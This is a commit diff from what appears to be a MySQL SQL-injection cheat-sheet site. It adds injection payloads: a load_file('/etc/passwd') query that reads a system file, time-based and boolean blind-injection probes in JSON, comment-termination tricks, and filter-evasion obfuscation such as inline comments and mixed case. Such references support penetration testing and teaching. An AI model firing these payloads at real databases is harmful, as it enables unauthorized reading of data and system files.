Skip to content

Commit aedab7c

Browse files
Update mysql (#16)
* Added traversing directories * Update mysql Co-authored-by: vu1n <[email protected]>
1 parent 9d1c1ea commit aedab7c

3 files changed

Lines changed: 25 additions & 2 deletions

File tree

attackQueries/executingOSCommands/mysql.html

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,9 @@ <h3 id="executing-os-commands">Executing OS Commands Through MySQL</h3>
1818
<td>Command Execution with MySQL CLI Access</td>
1919
<td><a rel="noopener" target="_blank" href="https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/">https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/</a></td>
2020
</tr>
21+
<tr>
22+
<td>Traversing directories (Linux)</td>
23+
<td>SELECT load_file("/etc/passwd") from information_schema</td>
2124
</tbody>
2225
</table>
2326

injectionTechniques/conditionalStatements/mysql.html

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,9 +14,17 @@ <h3 id="conditionals">Conditionals</h3>
1414
<td>If/Else</td>
1515
<td>SELECT IF(1=2,'true','false')</td>
1616
</tr>
17+
<tr>
18+
<td>If/Else (json)</td>
19+
<td>{"id"="xxx AND IF(length(database())=’1’, SLEEP(15),1)#”}<br/>If the database name's length is 1, database gets unresponsive with given miliseconds</td>
20+
</tr>
1721
<tr>
1822
<td>Logical OR</td>
1923
<td>SELECT 1 || 0<br><em>To see nuances of this operator go <a target="_blank" rel="noopener" href="https://dev.mysql.com/doc/refman/5.7/en/logical-operators.html#operator_or">here</a></em></td>
2024
</tr>
25+
<tr>
26+
<td>AND (json)</td>
27+
<td>{"id"="xxx AND 1=1#"}<br/>True statement<br/>{"id"="xxx AND 1=2#"}<br/>False statement</td>
28+
</tr>
2129
</tbody>
22-
</table>
30+
</table>

injectionTechniques/obfuscation/mysql.html

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,10 @@ <h3 id="obfuscating-queries">Obfuscating Queries</h3>
2626
<td>Hex &gt; Int</td>
2727
<td>SELECT 0x20 + 0x40</td>
2828
</tr>
29+
<tr>
30+
<td>Unhex/hex</td>
31+
<td>unhex(hex(user()))</td>
32+
</tr>
2933
<tr>
3034
<td>Bitwise AND</td>
3135
<td>SELECT 6 &amp; 2</td>
@@ -72,7 +76,11 @@ <h3 id="obfuscating-queries">Obfuscating Queries</h3>
7276
</tr>
7377
<tr>
7478
<td>Single line comment</td>
75-
<td>SELECT 1 -- comments out rest of line<br/>SELECT 1 # comments out rest of line</td>
79+
<td>SELECT 1 -- comments out rest of line<br/>SELECT 1 # comments out rest of line<br/>SELECT 1 --+ - Comments out rest of the line<br/>SELECT 1 --+- - Comments out rest of the line<br/>SELECT 1 -- - - Comments out rest of the line<br/>SELECT 1 %00 - Comments out rest of the line</td>
80+
</tr>
81+
<tr>
82+
<td>In-line comment</td>
83+
<td>SEL/*_*/ECT * FR/*_*/OM</td>
7684
</tr>
7785
<tr>
7886
<td>No Spaces</td>
@@ -94,6 +102,10 @@ <h3 id="obfuscating-queries">Obfuscating Queries</h3>
94102
<td>Invalid Percent Encode</td>
95103
<td>%SEL%ECT * F%R%OM U%S%ERS</td>
96104
</tr>
105+
<tr>
106+
<td>character obfuscation</td>
107+
<td>SeLeCt * FrOm</td>
108+
</tr>
97109
</tbody>
98110
</table>
99111

0 commit comments

Comments
 (0)